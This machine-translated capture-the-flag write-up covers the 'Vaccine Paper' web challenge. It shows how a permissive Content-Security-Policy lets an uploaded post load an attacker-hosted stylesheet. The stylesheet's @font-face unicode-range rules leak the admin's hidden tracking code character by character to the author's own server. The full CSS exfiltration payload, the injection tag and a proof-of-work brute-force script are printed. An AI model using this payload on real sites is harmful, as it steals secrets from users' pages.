2020 Cyber Operations Contest - Vaccine Paper Writeup
Stealing the admin key via XS-Leak attack using CSP
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)|
Problem |
Category |
Score |
|
|
2.2 Vaccine Paper |
WEB |
? |
|
|
Accessed the enemy's internal research data sharing system. Steal the vaccine information using the admin key. |
|||
|
Solution Steps |
|
||
|
Answer |
flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine} |
||
|
Solution Process |
|||
![]() Once you sign up and log in, the screen above appears. In the Upload Paper menu, you can upload input without any restrictions, and if you access the uploaded post via the link in MyPage, the input I inserted is rendered as is.
Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';
However, because CSP is enabled, script requires a matching nonce, while style and font can be used without restrictions. ![]() If I solve a small PoW, my uploaded post is sent to the admin, and you can see that it accesses my post using headlesschrome/77.0.3835.0. ![]()
At first, I wasted a lot of time thinking it was a script nonce leak challenge, but it turned out /vaccine.php was in the comments on the main page -_- lol;;;;;
![]() In vaccine.php, if you provide a small PoW, it checks the tracking code, and if it belongs to the admin, it gives you the vaccine. I struggled a bit because I didn't know this.. ![]()
The tracking code is embedded like this, but it is hidden via display:none in the css.
However, we can load arbitrary stylesheets, and external font requests are freely allowed (style-src *; font-src *;)
Therefore, the problem can be easily solved using an xs leak via font-face. (reference : http://vulnerabledoma.in/poc_unicode-range2.html) @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:0'); unicode-range:U+0030; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:1'); unicode-range:U+0031; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:2'); unicode-range:U+0032; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:3'); unicode-range:U+0033; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:4'); unicode-range:U+0034; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:5'); unicode-range:U+0035; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:6'); unicode-range:U+0036; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:7'); unicode-range:U+0037; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:8'); unicode-range:U+0038; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:9'); unicode-range:U+0039; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:A'); unicode-range:U+0041; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:B'); unicode-range:U+0042; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:C'); unicode-range:U+0043; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:D'); unicode-range:U+0044; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:E'); unicode-range:U+0045; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:F'); unicode-range:U+0046; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:G'); unicode-range:U+0047; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:H'); unicode-range:U+0048; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:I'); unicode-range:U+0049; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:J'); unicode-range:U+004A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:K'); unicode-range:U+004B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:L'); unicode-range:U+004C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:M'); unicode-range:U+004D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:N'); unicode-range:U+004E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:O'); unicode-range:U+004F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:P'); unicode-range:U+0050; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Q'); unicode-range:U+0051; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:R'); unicode-range:U+0052; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:S'); unicode-range:U+0053; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:T'); unicode-range:U+0054; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:U'); unicode-range:U+0055; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:V'); unicode-range:U+0056; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:W'); unicode-range:U+0057; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:X'); unicode-range:U+0058; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Y'); unicode-range:U+0059; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Z'); unicode-range:U+005A; }
@font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:a'); unicode-range:U+0061; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:b'); unicode-range:U+0062; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:c'); unicode-range:U+0063; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:d'); unicode-range:U+0064; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:e'); unicode-range:U+0065; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:f'); unicode-range:U+0066; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:g'); unicode-range:U+0067; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:h'); unicode-range:U+0068; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:i'); unicode-range:U+0069; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:j'); unicode-range:U+006A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:k'); unicode-range:U+006B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:l'); unicode-range:U+006C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:m'); unicode-range:U+006D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:n'); unicode-range:U+006E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:o'); unicode-range:U+006F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:p'); unicode-range:U+0070; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:q'); unicode-range:U+0071; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:r'); unicode-range:U+0072; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:s'); unicode-range:U+0073; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:t'); unicode-range:U+0074; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:u'); unicode-range:U+0075; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:v'); unicode-range:U+0076; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:w'); unicode-range:U+0077; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:x'); unicode-range:U+0078; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:y'); unicode-range:U+0079; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:z'); unicode-range:U+007A; }
.tracker-hidden{ display:block!important; font-family:attack; }
Since tracker-hidden is set to display:none, we change it to visible to apply the font-family. Then, using unicode-range, if a character in the [A-Za-z0-9] range exists, a font request is sent to my domain configured in src:url(), allowing me to know which characters are present.
After hosting this as a css file on my server (like http://ar9ang3.com/aa.css), <link rel="stylesheet" href="http://ar9ang3.com/aa.css"> if I include this during the upload, the crafted css will apply when the admin reads my post, triggering the xs-leak. ![]() Actually, the characters were sent to my server one by one,
Privacy Policy: In order to protect information of NVL, to access every work will be tracked. To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used. Each letters of secret code are in increasing order of ASCII code.
Since the main page stated this, the characters should be unique and in ascii order. Collecting and sorting them gives:
![]()
The admin's tracker code is '012378IJLMNQSWXYadeghilnopqrtuyz'.
Sending this to vaccine.php yields the flag ![]() It gives the flag
Ref) pow code from arang import *
for i in range(0,0xfffffff): if i % 100000 == 0: print(f'[+] doing {i}') s = hexencode(sha1(str(i))) if s[:6] == b'0b83ff': print(i) break
----------------------------------------------------------------------------------------------- |
|||








Comments